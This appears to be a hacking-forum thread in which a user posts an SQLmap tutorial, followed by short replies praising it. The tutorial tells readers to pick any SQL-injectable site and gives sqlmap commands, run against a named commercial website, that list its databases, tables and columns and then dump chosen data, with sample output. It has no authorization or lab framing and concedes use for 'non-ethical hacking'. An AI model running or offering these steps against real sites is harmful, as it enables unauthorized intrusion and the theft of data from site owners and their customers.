SQLmap Tutorial

[Wolf DF Member Posts:244 Threads:44 Reputation 22]

SQLmap Tutorial

by Scale

*NOTE: This is Linux not Windows!*

What is SQLmap? SQLmap is an open source automatic SQL Injection and database takeover tool. This is mainly used for "Ethical" hacking, but it can be used for non-ethical hacking.

SQLmap

Lets Begin Find a target site (Must be SQL Vulnerable).

Test Subject Site:

Spoiler Show

http://www.ibookavenue.com/addcart.php?id=2'

Input this Line in your SQLmap terminal (Replace the URL I placed with your targets)

Code:

# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' --dbs

Once it has found the Databases it should look like this:

Spoiler Show

[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*]information_schema
[*]safecosmetics

[*]
The "Available databases" are the databases in your Targeted URL
[*]Now you are going to want to find the Tables in the database (Change databasename to the database you want to find tables in)

Code:

# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' -D databasename --tables

[*]
You should have gotten a list of tables
[*]Now you are going to want to find Columns using in the tables (Change tablename to the table you would like to find Columns in)

Code:

# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' -D databasename -T tablename --columns

[*]Now we will want to retrieve the Data (Change ColumnName1,2,3 to the desired Columns you want to dump)

Code:

# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' -D databasename -T tablename -C columnname1,columnname2,columnname3 --dump

[*]After this it should say what directory the information has been stored to, where you can access it whenever you'd like!

[Joker DF Member Posts:76 Threads:8 Reputation 14]

Good shit Scale, keep up these HQ tuts!

[aim DF Member Posts:531 Threads:74 Reputation 38]

Nice HQ Post Man! Keep It Up! OP

[Wolf DF Member Posts:244 Threads:44 Reputation 22]

Good shit Scale, keep up these HQ tuts!

Thanks Joker, and I will!

[Buzz Banned Posts:111 Threads:21 Reputation 11]

Will surely help people out, thanks for the tut.

[Wolf DF Member Posts:244 Threads:44 Reputation 22]

Will surely help people out, thanks for the tut.

I hope it does :)

[HostedLobby DF Member Posts:319 Threads:11 Reputation -4]

Nice tutorial
/202020